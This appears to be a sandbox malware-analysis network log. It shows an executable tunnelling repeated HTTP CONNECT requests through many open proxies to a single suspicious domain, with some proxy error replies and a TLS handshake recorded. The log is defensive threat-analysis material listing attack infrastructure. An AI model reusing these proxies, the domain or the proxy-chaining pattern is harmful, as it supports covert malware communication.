Feb 23, 2024 09:45:35.882149935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.4	52971	162.253.68.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.792802095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.4	50466	103.105.40.241	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.809214115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.4	51340	209.13.186.20	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.810111046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.834527969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.835006952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.944160938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.943675041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:59.959283113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:12.051119089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.4	51517	50.63.12.33	23065	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.810148001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.834507942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.835011959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.944168091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.4	52943	188.166.197.129	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.810440063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.4	52983	213.136.75.85	50238	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.810448885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.365680933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.975147963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178368092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.366024017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680572987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.865999937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.368468046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.4	52979	37.235.48.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.810702085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.4	52966	78.186.18.142	3629	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.817374945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.4	52949	8.213.128.6	20002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.817374945 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.4	52947	119.39.68.79	2323	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.817917109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.4	51443	107.173.154.83	49991	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.818850040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.4	52969	177.12.118.160	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.826596975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.049679041 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.4	52945	121.229.101.96	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.827713013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.4	51442	161.97.147.193	43131	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.827716112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.834507942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.835011959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.944168091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.4	51154	85.62.218.250	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.851378918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.071803093 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 32 33 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Fri, 23 Feb 2024 08:45:23 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.4	52724	51.15.142.4	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.887001991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.974951029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.975322008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084302902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.4	52968	8.213.128.6	11	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.893513918 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.4	53003	34.120.231.30	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.906611919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.095060110 CET	462	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 317 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 3c 63 6f 64 65 3e 43 4f 4e 4e 45 43 54 3c 2f 63 6f 64 65 3e 20 69 73 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 66 6f 72 20 74 68 65 20 55 52 4c 20 3c 63 6f 64 65 3e 2f 3c 2f 63 6f 64 65 3e 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>405 Method Not Allowed</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Method Not Allowed</h1><h2>The request method <code>CONNECT</code> is inappropriate for the URL <code>/</code>.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.4	52988	195.90.216.75	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.919905901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.4	51429	104.248.158.78	61725	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.925992966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.975100994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.975341082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084320068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.084249020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.4	52915	117.160.250.130	8899	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.930236101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.546873093 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.4	52986	195.88.240.162	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.937244892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.4	52978	43.133.80.236	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.938508987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.4	51600	66.228.37.252	48487	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.963273048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.975119114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.975341082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084320068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.4	51556	92.204.135.37	22942	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.972712040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.975105047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.975343943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084317923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.4	53013	138.197.208.93	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.982716084 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:24.137459040 CET	149	IN	HTTP/1.1 301 Moved Permanently Location: //heygirlisheeverythingyouwantedinaman.com:443/ Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.4	53005	18.228.198.164	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.990922928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.192584991 CET	154	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/plain X-Powered-By: PHP/5.3.6-13ubuntu3.6 Server: aserve Content-Length: 0
Feb 23, 2024 09:45:24.249916077 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 23 3e 0d 4b c8 5e 84 a0 3d 5d 54 07 11 86 c9 6f f1 f5 ff 69 c3 c4 cb 4a 62 d4 61 b3 fa 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[#>K^=]ToiJba*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
